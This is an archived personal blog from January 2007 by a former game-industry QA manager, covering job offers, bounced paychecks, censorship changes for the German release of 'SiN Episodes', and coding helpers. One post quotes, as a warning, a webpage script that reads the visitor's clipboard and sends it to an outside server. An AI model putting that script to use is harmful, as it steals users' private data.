January 31, 2007

They Do Exist...

After over two years on the Google AdSense program, I finally got a check today for $101.94.

It's true...the mythical mana from Mountain View does exist...

On the upside, Google is being less stingy with the fundage. I'm already one fifth of the way to another one of these. At this rate, this site may actually pay for itself by the end of the year...maybe.

January 29, 2007

Favorite IE7 Feature

I was browsing the web for a bit while eating dinner, and came across a page that was linking to Google's "Testing on the Toilet" page. Turns out this page should have been in the toilet, and here's the reason why.

First, do not visit this page unless you are using IE7, Firefox or Opera:

If you are using IE7, you're going to get a warning, asking if this webpage can have access to the contents of your clipboard. Say "No."

Even though the page itself is fairly legitimate, some of the content is not. If you look at the source for the page, you'll see the following...
  <script language="javascript" src="http://noone.homeip.net/GacWeb/rslite.js">
function body_onLoad(){
RSLite = new RSLiteObject();
var cb = window.clipboardData.getData('Text');
RSLite.call('http://noone.homeip.net/Info/info.aspx?cb=' + cb);
In short, this page is trying to steal any information off of your clipboard and send it to a server that's currently at the IP address (ppp-69-217-141-66.dsl.emhril.ameritech.net).

Have fun with this dude. Since SBC merged with AT&T, I can't find the anti-fraud links on their site, so someone please find that info and report this guy so I can finish eating...

Poll #2: What?

The second (and final) poll question of the evening is actually an odd one, given that I'm now out of the industry: If you could pick one thing that you think is broken in the games industry, what would it be and why?

I should probably elaborate. I've got a once-in-a-lifetime opportunity coming up very quickly to talk about some of these problems (and potential solutions) in a very public forum, and I'd like to hear your opinions on what you feel are the biggest problems so I can take those into account when I'm preparing my talk.

Please reply in the comments if you want to have your voice heard.

Poll #1: Why?

The first poll question is pretty simple...why do you read this blog? I don't really do much of this blog for my readership, although there are some items where I try (SiN/USK, Automating Games QA, etc.), but when you come to this blog, what do you want to walk away with? What drives you to visit? What keeps it in your RSS aggregator?

Please reply with your answers.


For people who read this blog, I don't think it's any secret that I've been a bit emotionally distant over the last several months. Around September, things started piling on, and as time went on, I started going into a shell to protect myself from my feelings...from the pain. Today, I started noticing that I was feeling again. I started noticing things that I had been suppressing over the last several months.

The thrill of a chance for a once-in-a-lifetime experience; the rapid heartbeat following the warning from a close friend; the smell of acrid smoke from the initial puff of a cigarette that is made more of paper than tobacco, combined with the aromatic stench of the gentleman who lit the cigarette; the taste of ozone in the air as small bolts of electricity arc through the humid air between the light rail vehicles and their suspended power lines; the feeling of satisfaction when you receive a paycheck on time for the amount due that you know won't bounce; the little hop in your step when you hear Wang Chung's "Dance Hall Days" wafting out of the earbuds of the lady sitting in front of you...all minor sensations that you find you really miss when they're gone.

Anyway, it feels great to actually be back completely.

Two items...first, I'm going to be posting two polls tonight as two seperate posts. I'd really appreciate it if you'd reply to those posts if you read the blog.

Second, just a reminder...I'm going to be crunching this week towards a Friday milestone, so not only will I be difficult to reach via this blog, I may also be difficult to impossible to reach via E-mail, MSN Messenger, etc. I'm not going to be ignoring you...I just need to keep my nose to the grindstone so that my milestone work meets the quality bar that I set for myself.

Milestone Crunches...

I've got a milestone coming up on Friday of this week, so my blogging may be slightly sporadic. Consider yourself warned...

Anti-Virus and Vista

At home, I'm now using Windows Vista Business on my primary rig. I'm also using AVG Anti-Virus.

I'm getting a weird issue when I'm browsing using IE7, where the entire shell (except for the mouse pointer) will become unresponsive for one to two seconds while I'm visiting a page with either a lot of HTML or a lot of images, and I'm thinking it might be AVG that's causing it...

Has anyone else encountered these pauses, and if so, have you found a workaround/solution?

Private Blog Readers

If you read my private blog, please head over there...I've got a post I need some feedback on.

January 28, 2007

What failed?

Let's start this discussion by defining the term that will be used throughout this post. Burn rate is the rate per month that a company spends money. This covers all expenses for this company, including rent, payroll, employee benefits, utilities, etc. Usually, this burn rate is split up between projects if a company is working on multiple projects, and is generally quoted on a per-head basis. For example, a company with a burn rate of $100,000 per month and ten employees is said to have a burn rate of $10,000 per head.

Now, I'm not going to be giving specific figures at all, but I'm going to try to lay out what was going on.

When we started on "SiN Episodes" in 2005, we were working on two other projects: "25 To Life" and an unannounced project. As a result, we were able to split the company burn rate between three seperate projects, two of which had milestone money coming in on a fairly regular basis.

At the end of 2005, "25 To Life" was supposed to be ending, and the staff on that project was supposed to split between the unannounced project and "SiN Episodes." However, the unannounced project was cancelled, so everyone in the company moved onto "SiN Episodes." This increased the burn rate significantly, because instead of only having 15-20 heads on the project, we had almost 40 heads on the project. However, it was helping bugs get fixed faster and helping to improve the overall quality of the project.

While this was going on, upper management was trying to sign other deals to work on concurrently with "SiN Episodes." Especially near the end of the project, we had many people who weren't being used to their full potential who could have easily worked on other projects. Unfortunately, having to continue to cover that burn rate led to cost cutting in other sections, like the five-figure testing budget and the even smaller marketing budget.

We were in final negotiations on one project when "SiN Episodes" went gold, so 15 people started working on "Episode 2," and the rest started getting up to speed on the new technology that this other project would require. "SiN Episodes" was selling well enough to fund those fifteen people during the development process. However, there was still the matter of these other 25 people. If enough money is coming in to cover the burn rate for fifteen heads, but your burn rate is forty heads, it isn't a good thing. This is definitely the case when you start talking about critical path items that cannot be shortened by throwing headcount at it, like the code merge.

Several project deals fell through. After five months, when a short-term development deal came along that didn't fall through, it required almost everyone in the company. The few remaining individuals were working on either new pitches to get additional projects, or trying to get alternate sources of funding to finish "SiN Episodes."

Obviously, the ending of this story wasn't a happy one. Ritual was acquired by MumboJumbo, and all signs point to the untimely death of the series. The sad part of this was that the first episode was a success. It sold well enough to pay for the burn rate for the team for the second episode...but not well enough to cover the remainder of the team. It's ironic that for all of the companies that died because of a commercial failure, this one was mortally wounded by a game that could have been considered a success in spite of itself. (Minor update: This may be premature, but my prediction on the fate of "SiN Episodes" may have been off by a small factor. Remember, I've been gone for eight weeks...)

Many people wondered why I was so harsh on the warez monkeys who grabbed illegal copies of the game. Well, if all of the people who pirated the game and contacted Ritual for tech support had actually purchased the game, it would have paid for the burn rate for two additional people from ship to date. That alone may not have changed the tide for "SiN Episodes," but it would have made the landing a lot softer for a few people...myself included.

January 26, 2007

Power Together

I received my "Power Together" copy of Windows Vista Business today.

I'll be installing it while I eat dinner so that next Tuesday, I can upgrade to Vista Ultimate.

I've always been an Windows early adopter. There's always been a little pain associated with it, but it has left me better equipped to handle the OS over its supported lifespan. Hell, I still get questions about Windows 98SE, and because I spent so much time working with it, I can still rattle off the answer after a couple of seconds of recollection time.

And so, now I delve head-first into the adventure that Vista promises to be. Here's hoping that I don't cut myself on the Aero Glass...

January 25, 2007

Happy Birthday, Yvonne

My wife, Yvonne, turned 55 today.

If you've got a second, please post birthday wishes for her and I'll show her this when we get back from dinner tonight.

Contracts, Industry, Timeout

I always dread contract negotiations.

Right now, I'm in negotiations, trying to work out an acceptable start date for insurance, trying to ensure that I'll still be able to do games industry contract work on the side (position is out of the industry, and there are some people I'd like to be able to help out if I can), and all the while trying not to mess up and let the position slip through my fingers.

Looks like I'll be playing industry ping-pong again, though. I went from a games retail manager to an IT manager to a game tester to a government programmer to a QA manager and now to a business dev position. Who knows... in two to three years, I may be back in the industry in some capacity or other.

In the meantime, I'm hoping to use my time out to not only recharge, but to catch up on my education and go through some of my game backlog (right now, I'm hovering at around 180 games in my purchased backlog). I'll still be sharing anecdotes about my time on the inside, though...one day, I may tell the whole story behind "Postmortem #1" or talk a bit more about what it's like to test a AAA product with a five-figure test budget. After all, these are the stories you never hear about...

What failed? (Preview)

I'm running late getting to work, but I wanted to give you a little heads-up.

After seeing the interview on GameDAILY, I got a bit of information that I can extrapolate on. Tonight, I'm going to work on a post about some of the points brought up, but I figure I can leave you with a bit of a riddle...

There were two primary factors involved: episodic content and self-funding. Only one factor led to failure. Guess which.

January 24, 2007

Post #800 Round-Up, Link Brigade

Yes, this is post #800. No, I still haven't finished my Games QA Automation series. Yes, I'm bitter about that. No, I'm not taking it out on the blog...yet.

Sorry about all the drama over the last hundred posts. Let's see, since I made post #700, I hit level 60 in WoW, migrated over to Blogger Beta, made my most controversial post ever, spoke publicly about what it was like to bring a game to the Fatherland, was unexpectedly laid off, got chewed out for trying to sell myself afterwards, got a job where I've had a bitch of a time getting paid, and managed to stay relatively upbeat throughout the entire ordeal. Whee.

Link Brigade: Trying to set up a multiplayer game with your Nintendo DS or Wii, or find Xbox friends in your general area so you won't lag to death? Fellow Shacker ThomW (maker of that great Bitmap Font Builder app that no game developer worth his salt should be without) now has his GameWith.Us site up. Give it a shot...it's an interesting Web 2.0 mashup. Also, don't forget Cory Smith's XboxFriends.com site.


That's why.

No comment.

January 23, 2007

Helpers vs. Cruft

I'm pretty certain that most programmers out there have little snippets of code that they use as helpers almost everywhere they go.

Coders who use Oracle and .NET will often create parameter helper methods like...
public static OracleParameter CursorParameter(string parameterName)
OracleParameter parCursor = new OracleParameter(parameterName,OracleType.Cursor);
parCursor.Direction = ParameterDirection.Output;
return parCursor;
People who have to deal with title-case in ASP.NET often have to resort to funky items like...
public static string FormatTitleCase(string s)
// (.NET 1.1) This "hack" works in both Windows Forms and ASP.NET.
return System.Threading.Thread.CurrentThread.CurrentCulture.TextInfo.ToTitleCase(
s.ToLower(System.Globalization.CultureInfo.InvariantCulture) );
There is nothing wrong with creating little helper snippets like this. I actually encourage their creation, as long as they end up getting centralized as they're created.

On one of the side contracts I'm working right now on top of my primary contract, I'm dealing with a codebase where this guy has about fifty of these little helpers...but every single place where they would be used, they're simply copy/pasted into place into the codebase. Database code, security code, etc., the same code doing the same thing hundreds of times...a breeding ground for maintenance bugs. I've been finding myself refactoring these helpers into actual helper classes to make the code easier to follow, as well as ensure that any bugs found in one helper result in a bug fix everywhere that helper is used.

It may take a little longer to do up front, but in the long run, it saves time and effort and results in a smaller, more stable codebase.

January 22, 2007

SiN and USK (Part 6)

This is the sixth and final part of the "SiN Episodes" USK dissection. Previous parts: 1, 2, 3, 4, 5.

For the final installment, I'd like to talk about the last high-profile change made between the rest-of-world version and the USK version: applied physics forces.

In the rest-of-world version of "SiN Episodes," when someone is killed by a weapon, their body is propelled fairly significantly by the force of the weapon. Even the regular pistol hits someone like they were hit by a ton of bricks at the point of impact. In the "Blown Away" myth on "Mythbusters," they proved that it wouldn't happen like that, but the "SiN" universe is fairly obviously based on anime, and in anime, physics be damned! Well, for the USK release, we were told that the amount of pushback on all of our weapon damage seemed a bit excessive. Note: it wasn't the damage that was excessive, just the pushback.

You may have noticed that in the final game, there were a couple of physics items based off of the destruction of an object, but not much related to the movement of an object by a weapon. Well, there's a simple explanation for that. In the USK version, physics forces caused by all weapons (friendly and enemy) were reduced by 50%. This had two side effects.

The first side effect was a 75% reduction in the amount of movement on ragdolls when they could be affected by physics. Why 75%? Well, physics movement is exponential in the engine.

The second side effect is what I really hated, and it's the only change that could be seen as materially affecting gameplay...but it only affects gameplay for people who played the rest-of-world version before the USK version. Because of the minimized movement, the cues that someone has died are significantly different between the two versions. As a result, someone used to the rest-of-world version who is playing the USK version is very likely to empty additional bullets into their now-deceased quarry than someone who hasn't, and because the ragdolls are client-side, that means that player accuracy drops and the game gets slightly easier as the game goes on (more ammo, etc.)

That's it for this series. There were other changes that were made for the USK version, but part of the arrangement with the USK is that if a change is made, information on how to undo that change cannot be distributed. That said, information was released on how to piggy-back on one of the changes...but I wouldn't recommend undoing that change in Germany anyway...you'd cause the game to crash.

Anyway, I hope you've enjoyed this look into the changes required to ship "SiN Episodes" in Germany. It's been two months of drama, but it's over now.

Redmond Ruminations

Last Wednesday night, I flew to Redmond for a job interview with Microsoft for an individual contributor role. (Now that the interview is over, I don't mind saying the name of the company.)

Thursday morning, I hopped in a cab to head over to my interview. In the cab with me was a gentleman whose previous MS interview had been cancelled because of the severe weather in the Pacific Northwest recently, and who was nervous beyond all belief. I spent my entire cab ride trying to calm the poor man down so that he could give an effective interview.

I feel pretty confident about my first several interviews. My fifth interview was when the timezone shift started to set in...it hit the time when I'd normally be napping on a bus heading home. I brainfarted when it came to whiteboarding a Fibonacci recursive function, but it didn't stop the loop.

Testing has definitely changed at Microsoft over the last four years from the sounds of it, and in several ways, it sounds as if it has changed for the better. While there are some downsides related to shifting test to a shared service rather than an integrated whole, the service system does counteract the one major issue I had with the way that test was...test can no longer wield the database as a cudgel to get design changes in via the backdoor. On a whole, the impression I got during my interview was the exact opposite of my impression of Sony.

That said, there were a few individuals that I have had interactions with outside of Microsoft that I ran into while in the offices that...well...let's just say that I was a bit surprised to see them there. Some I was definitely happy to see, others not so much.

After the interview, I had a great dinner with Sam Kalman (you can read about his impressions of the meeting here), and yes, the oyako domburi was excellent at Nara Sushi (just like mother used to make).

Sam and I are very different individuals, and we approach our games and testing in very different ways. Sam is trying to improve game testing from the bottom up. He wants to improve training for testers on basic testing skills and methodologies, as well as try to drive home that game testing isn't the realm of fun that it is often advertised to be. I'm trying to improve game testing from the top down, pushing for quality of life improvements, better distribution of knowledge, increased communication not only within the test department but across departments, etc.

As I flew back to Dallas after dinner, I tried to think what role I would play in the world if I rejoined the Collective and reactivated my implants. Would I relax back into my individual contributor role and be satisfied there, and eventually fall into "Limited II" land? Would I drive myself back up above and beyond where I had been in the past? Would I stay in QA, or eventually move into development or a PM slot? Would I continue to blog even if controversies tend to follow in my wake? Would I kill my own mother with a broken lawn chair?

These are the questions that have kept me awake at night since my return. I'm just glad that I'll have a decision on what I'm going to do within the next seven calendar days.

Agenda For Week

Today: Part 6 of the SiN USK stuff is nearly done. I just need to go through and edit out most of my profanities. The "applied forces" changes actually make me angrier than any of the others, then I'm going to flip a coin to see if I'm going to run it here, or send it over to Ritualistic.

Tuesday/Wednesday: I have to find a little time to get to the store so I can do some birthday shopping for Yvonne, who turns 55 on Thursday.

Thursday: If you have to ask, look at the previous sentence.

Friday: By Friday, I should know about Redmond definitively, so I can then sit down and decide on where I'm going to be in the future. The sad thing is that the more I've thought about it, the more that staying in Dallas is winning. Doing core architecture work isn't all that fun, but it is challenging. It's a type of challenge I haven't had in a few years... Of course, being able to afford annual vacations back to Utah and Seattle wouldn't hurt.

Saturday: I hope to go see a movie that isn't anywhere near as depressing as "Pan's Labyrinth" was. (For the anime buffs out there, think "Grave of the Fireflies" with a dash of "Spirited Away," with some "End of Evangelion" cruelty and overall mindfuck mixed in for flavor.)

One down...

This morning, I sent off an E-mail rejecting the offer for the position in Utah.

What's sad is that it was a job I wanted, but the two hurdles that were placed in my path as part of the offer (extremely limited relocation as part of a signing bonus, three months no insurance) proved insurmountable.

January 20, 2007

A Theory Of Non-Payment

As promised, here is the theory as to what happened to result in my paychecks bouncing. This is not confirmed fact, but a theory based on the evidence that I have available to me

December 18: I start the contract-to-hire position. I'm informed that my pay schedule is weekly, one week behind

December 22: I submit my timecard. The contract house immediately submits the invoice, expecting to get paid the following week prior to my paydate.

December 25-29: Almost everyone (except for me) is out of the office on vacation.

December 29: I submit my timecard, and ask about my check. I'm informed that it was mailed to my house on December 28, and I should have it on Saturday, December 30.

December 30-January 3: No check. During this time, the person who is responsible for approving the invoices is trapped in Denver.

January 3: I finally get through to someone at the contract house, and they agree to bring me my checks the following day. They're thinking that they'll get paid for the outstanding wage invoices prior to the checks hitting their bank.

January 4: I get the paycheck for December 29 and the paycheck for January 5. I'm asked not to deposit the check for January 5 until the next day because "while it should still go through, I'm not sure the funds will be there." I deposit the December 29 check that evening, and tell my wife to deposit the other check in the morning.

January 5: I get my paystubs for both checks in E-mail. Looking at the bottom, I see that payroll for my December 29 check was not run until January 4. I submit my timecard.

January 8: Invoices are approved for payment on January 16.

January 11: Both checks hit the contract house's bank and bounce sky-high. I'm fed some bullshit story about how someone took all the money out of the payroll account via a fraudulent debit card. My bank tells my wife that they will not accept any checks for deposit until we deposit enough cash to bring the account current. I tell the contract house that I require full payment before I leave on January 12 in cash, as well as a letter from his bank stating that fraud was the reason for the lack of funds.

January 12: I submit my timecard. I receive an E-mail saying that I may not get funds until Monday because of how the bank is handling the fraudulent activity. (Monday was a bank holiday in the United States, so I still wouldn't get funds.) I'm offered a smaller payment on Saturday, but I know that if I accept any funds outside of the full amount, it puts me in a risky position legally. I print out all relevant E-mails from the contract house.

January 13: My E-mail account is suspended at the contract house.

January 15: I go into the office and clean out my desk. I talk to my supervisor at the place I was working at, and tell him exactly what's going on. He has the check for the contract house on his desk. He asks me to wait until the end of the day so he can get me taken care of. He cancels the check for the contract house, pays me my full contract rate directly for all of my time up to January 12, and deducts the amount from the amount paid to the contract house. I get an E-mail from the contract house saying that they have the payment for me and will be there before the end of the day. The funds and letter never show up (I would have had to refuse the funds anyway), but my E-mail account is taken off suspension. The excuse given was that his Active Directory server randomly reset my password.

January 16: I go into work a little late so that I can cash the check at the bank it was drawn on, then get a cab to take my wife over to our bank to deposit it.

January 19: I'm told that I'll be E-mailed a scan of the letter from his bank. As of five minutes ago, scan not received.

The end result of his taking a contract without having the funds to cover the first 30 days of payroll? A 46-point drop in my credit rating from checks bouncing. It is going to take me at least two years to recover from this...and there isn't a goddamn thing I can do about it.

Because I still have to have some association with these people for the next two weeks, I'm not going to post their names, but if you are a contract coder in the Dallas area and want to know who they are so you can avoid them, send me an E-mail and I'll give you names.

Now if I could ever get my stuff from Ritual...

January 17, 2007

SiN and USK (Part 5)

Well, here we go again. Previous installments are indexed over at Ritualistic.

Since the science fiction movies of the 1950's, everyone has wanted their own personal jetpack. In the "SiN Episodes" universe, some SiNTEK soldiers are lucky enough to have some of their very own.

A few notes about the jetpack grunts for you. First off, the jetpacks are physics objects. The grunts are tied to them via some funky constraints. This, in part, led to a bug in Arena Mode where if you added jetpack grunts to your maps, they would T-pose during demo playback.

The jetpack grunts have many different types of death animations. The server tells the client, "Hey, this dude is dead," the client randomly picks one of the animations, and plays it. I think everyone remembers the classic twirl-around-screaming-pack-explode-fall-with-a-crunch animation from the last trailer before release. Well, that animation is what directly led to this change.

The USK had an issue with several of the death animations for jetpack grunts because it seemed like they were being made to suffer prior to death solely for the amusement of the player. That's probably because their digital forms were being made to seem like they were suffering prior to death solely for the amusement of the player. Come on, a dude's jetpack malfuntioning prior to his death is funny...

We tried negotiating, but this was one item on which the USK would not budge. As a result, in USK-rated copies of the game, there is a single jetpack death present: the jetpack explodes, and the ragdoll falls straight down. Again, this was a client-side effect only, so if Ritual ever manages to get cooperative play of any sort going, while the result may appear slightly different when a US player plays with a USK player, the server will still be seeing the two as idential.

This is one of the changes that I'm not particularly fond of. The jetpack deaths were one of the items that Ritual received a lot of positive feedback for, and having to remove it just seemed...excessive.

Hopefully, I'll have part 6 up this weekend assuming the next 48 hours don't turn me into a drooling zombie.

January 16, 2007

Four Hours To Money

I went into the office yesterday expecting to quit, expecting to talk to Workforce Services today, expecting to talk to a lawyer today, etc. Fortunately, that isn't going to have to happen any time soon.

I went in and talked to the department supervisor and told him what was going on. He asked me for some information and then told me that they were going to cut the contract house out of the picture, stop payment on what they sent to the contract house, and pay me directly.

I received a payment for all hours worked up through last Friday a little after noon in the form of a check. Because of the restrictions placed on my bank account because the account is overdrawn by $1,600, I have to go to the bank the account is drawn on, cash it, then take the cash to my bank to deposit it.

After that, I'll be in the black again and then some which is nice. Even with only 16 billable days worked, my check was still over $1,000 more than I would have made at Ritual during the same four-week period.

I still need to get the contract house to reimburse me for my overdraft charges and returned item charges. We also deduced exactly what the hell was going on with the contract house during the last month, but that is a story for this weekend. I want to try to finish the USK post and get it up tomorrow before I leave for Redmond.

January 14, 2007

Update on Pay Situation

I tried logging into my contract house's mail server tonight to check for an update on the pay situation, given that Monday is Martin Luther King, Jr. Day and the banks are going to be closed.

I couldn't log in. All signs point to my account being deleted or disabled.

I've been a very patient man. I wanted to talk to a lawyer to find out what options I would have if I did not receive the payment due to me tomorrow. This is making it look like that isn't just a possibility, but as a definite.

If I do not have all funds due to me in cash by noon tomorrow, the gloves are off. The bounced paychecks count as two class A misdemeanors because of their amounts.

It takes a lot to piss me off. Most people who know me know that it takes a significant amount to get me to show any negative emotion, let alone unbridled rage. My wife went over the edge on Thursday. I'm hoping that I won't go over the edge tomorrow.

January 12, 2007

Last Week To Next Week

NOTE: The following post consists of what some might call "emo bullshit." If you don't like that kind of stuff, please skip this post. Thank you.

This week has been one of the worst weeks in recent history for me, but to put it into perspective, I'm going to have to go back to December and provide a blow-by-blow.

In the middle of December, I had three job offers on my plate. I chose the one that paid the most, and had the potential to dramatically increase my wages after six weeks of work. The catch was that it was a contract-to-hire position. The company I was going to be working for was using the contracting firm to essentially have an extended paid interview process. They wanted to make sure that I was not only a good coder, but a good fit for the company.

My first check was supposed to be December 29. The check was supposed to be dropped off at the office, but after an E-mail to the contract house, I was told that the check was mailed to my home on December 28, and I should have it on December 30. The check never came. During this period, I was contacted by a company in Utah asking for an interview. I had to go to Utah anyway to handle some stuff with my house, so I agreed to an interview.

I sent E-mail after E-mail to the contract house, and received no answer. I was really getting nervous, as the timing of my starting work and the way that Ritual handled my final check meant that I was receiving no unemployment benefits. On January 4, I was delivered my first check and my check for January 5. I was asked not to deposit the check for January 5 until the date it was written for to ensure the funds would be there. I still had not received any paystubs.

I depositied my first check on January 4, and my second check on January 5. By this point, I had accrued a small amount of late fees because of the one-week delay on my check, but I figured I'd handle them myself. After all, I was making about $600 a month more than I was at Ritual, so I should be able to afford a late fee or two once.

I received my paystubs last Friday. Both paystubs were dated January 4...which told me that he couldn't have sent my check back on December 28 as he stated.

On Monday, I was up in Utah handling a few things and also had my job interview with this other company. I flew back that night, got home, and relaxed.

On Tuesday, I was offered the job back in Utah, but the company would only cover $1,500 of my relocation costs. Since it cost nearly $4,000 to move down here, that was discouraging but still within the realm of possibility if I took out a loan.

Yesterday, I received a panicked phone call from my wife, telling me that both of my paychecks had bounced. As a result, my checking account, which until now had only ever dropped to a balance of $22, was over $1,600 overdrawn. I was furious...I had been here for nearly four weeks, and my "weekly" pay schedule had resulted in a major dent in my checking account. As of this morning, I had seven overdraft charges and three returned item charges. Also, my bank won't allow me to deposit any further checks until I deposit enough cash to bring my account back into the black.

Today, I was informed by the job back in Utah that I also would not be eligible for their insurance policy until after I had been employed for three months, which meant that I would have to pay nearly $4,000 back to Ritual for COBRA. Now, being $1,600 overdrawn on the bank account makes it impossible to get a loan in the first place, let alone the loan for almost $7,000 I'd have to get to move back to Utah and ensure there was no lapse in insurance so my wife's pre-existing conditions wouldn't have a 1-year waiting period.

About twenty minutes before I left the office, I received my invite up to Redmond to interview. I'll be up there on Thursday. Shortly after that, I received an E-mail saying that I wouldn't get paid until Monday.

On my way out the door, the people here were expressing sympathy with regards to me getting dicked around by the contract house. They want to talk about full-time employment come Monday.

This next week is going to be interesting. Either I'm going to be heading to Seattle in February, I'll be moving to Utah and be deep in debt for a few months, I'll be staying here, or I'll be unemployed kicking some contract house ass.

Regardless, now you know why I was asking for a lawyer.

January 11, 2007

Time To Send In The Dogs Of War...

I hate using my blog to ask for referrals, but here goes...

Can anyone recommend a ruthless, soul-sucking lawyer in the Dallas area that specializes in employment law?

January 10, 2007

Kommende folgende Woche...

...are going to be parts 5 and 6 of the "SiN Episodes" USK articles...and just a little bit extra.

You can find the previous parts here:

Part 1
Part 2
Part 3
Part 4

Welcome "Blogs of Note"

Evidently, I'm now the "Blog of Note" for the day from Blogger's "Blogs of Note" blog.

Welcome to the circus. For the stuff that really brought me the visitors, check out the archives for May 2006 through December 2006.

A couple of highlights:

February 2, 2005: Top 10 signs you are dating a tester
February 6, 2006: Guess which game is really causing damage...
May 17, 2006: Post-mortem of the first major issue found by the public in "SiN Episodes: Emergence"
June 22, 2006: The "hidden cost" of software piracy
November 27, 2006: Observations about QA at Sony

Browse around, and hopefully you'll see something you like.


Well, I currently have three choices as far as where to go with my career...and I need to make a choice in the next ten days.

Choice #1 is move to Redmond and work for a games company that I've discussed quite a bit in this blog.

Choice #2 is move to Salt Lake City and work for a financial services company. I received an offer for this position today, with a follow-up offer that included limited relocation assistance.

Choice #3 is stay where I'm at. I was told last week that unless I have any objections, they're planning on converting the contract to a permanent hire before the end of the month.

#3 pays more than #2, I'm unsure how it compares to #1, #2 puts me closer to friends and family, #1 keeps me in games, all three involve me coding, but #1 has me doing the least amount of coding of the three. #2 and #3 are definite, #1 would involve one final interview.

Free Office 2007 Professional

If you're like me and are going to be too poor to afford Office 2007 Professional for a bit, check this out.

Microsoft has their "Ready for a New Day" tour coming around the United States. Attend and stay the day, get Office 2007 Professional for free.

(Thanks ActiveWin.)

Trust You vs. Prove It

Over the last two months, I've had programming interviews with over a dozen firms, but all of them have had one thing in common that really disturbs me. Not one of them asked me to do any coding during the interview.

I get asked trivia questions related to various aspects of the programming languages in question, lots of personality chemistry questions, some architecture and object composition questions, and quite a bit about my previous work, but it always comes down to "we trust what you say" instead of "prove you can do it."

I don't know if it's because of my previous employer, or because when people talk to me, they get the feeling that I really understand what is going on, but I am really concerned about this trend as a whole.

With testers, it is fairly easy to evaluate someone's observation, logic-solving and communication skills, but with developers, you really have to look at some code. After all, there is a high likelihood that you're going to have to go swimming in their code in the future, and if you get stuck in a quagmire then, well, all the chemistry in the world isn't going to save you.

January 9, 2007

Limited Testing Platforms

Just a small example of what can happen if you only test on what you have at hand...the recent Blu-Ray release, "The Descent," only plays on PS3's and is incompatible with other Blu-Ray Disc players.

Hell, we tested "SiN Episodes: Emergence" on every machine we had, outsourced some config testing to Lionbridge, and ran the game through EA's compatibility lab and we STILL missed a DX7 bug.

How could you miss every other platform on the market?

January 8, 2007

The Right Word For The Right Test...

If you are a tester and only read test-related blogs, you are doing yourself a severe disservice.

Go read "Coding Horror" from Jeff Atwood. You'll learn a lot about how things are seen from the other side, and even learn a little bit about proper testing terminology at the same time...while looking at a picture of fake tits.

The nice thing about my employer being secret? I can say "tits" in my blog without fear. Hehehe.

(Yes, I'm back from Utah...)

January 6, 2007

One Month Checkup

Well, it's been just over one month since my layoff, so what's been going on?

I received three job offers on the same day. One was from a company that I have nothing but respect for, but I couldn't afford to live on what they were offering. One was a QA Manager position for a web development firm that had a development process that made the organizational schizophrenia at my previous job seem reasonable. The other was where I'm at now.

I started my new job on the 18th. Most of the last three weeks have been spent adding in all of the various helper functions necessary to make working in an Oracle/ASP.NET environment doable: stored procedure parameter templates, data abstraction layers, etc.

I still don't have my personal effects from my previous job. "We'll ship them to you" turned into "we'll have someone bring them to you" turned into "have someone with access to a vehicle drop by and pick them up for you." Will it turn into "we sold your autographed Xbox, so there"?

It takes me thirty-two hours of work to make as much as I made in forty hours at my previous job. Unfortunately, my first check was a week late. Fortunately, it, along with my next week's check, were enough to cover the vast majority of my bills, and my next week's check will cover the few that remain. Only a couple of late fees, but the wage increase will cover those.

I finally broke $100 on Google AdSense, and if I understand the program correctly, I'll get the check sometime in February.

My apartment lease expires the end of this month, and my rent is going up $35 a month.

I keep sitting down with XNA Game Studio Express, and every time I try to write anything, I just feel as if the soul was sucked out of me. I don't think it's because of XNA, though. I think it's just that I'm...weary of working on games. Any role in game development, be it development, testing, content creation, etc., is an emotionally draining experience. It takes a lot of effort and energy to create even the most simple of games, let alone the 20-plus gigabytes of assets that ended up getting distilled down to a reasonable size and baked into the final DVD of "Gears of War." I guess it's a shame that most of the draining experiences occurred AFTER my last piece of art...

I'm still getting phone calls and E-mails regarding my resume. There may be news regarding this shortly...

January 4, 2007

Unfortunate Headlines

MSNBC posted an extremely funny (albeit unintentional) headline today.
Scoop: Hilton sharing bed with pet monkey  Images
First off, get your mind out of the gutter. There are no night-vision images of Hilton getting down with her simian sleepover partner, but you have to admit that given her history, you wouldn't be far off thinking something like that.

Second, I'm sure that the moment some people in California saw that, they were getting on the horn looking to secure exclusive rights to the film.

January 3, 2007

Briefly Back to the Beehive

I'll be back in Utah for a little bit this coming week.

I'll be arriving at 6:45p on Sunday, and leaving at 5:30p on Monday.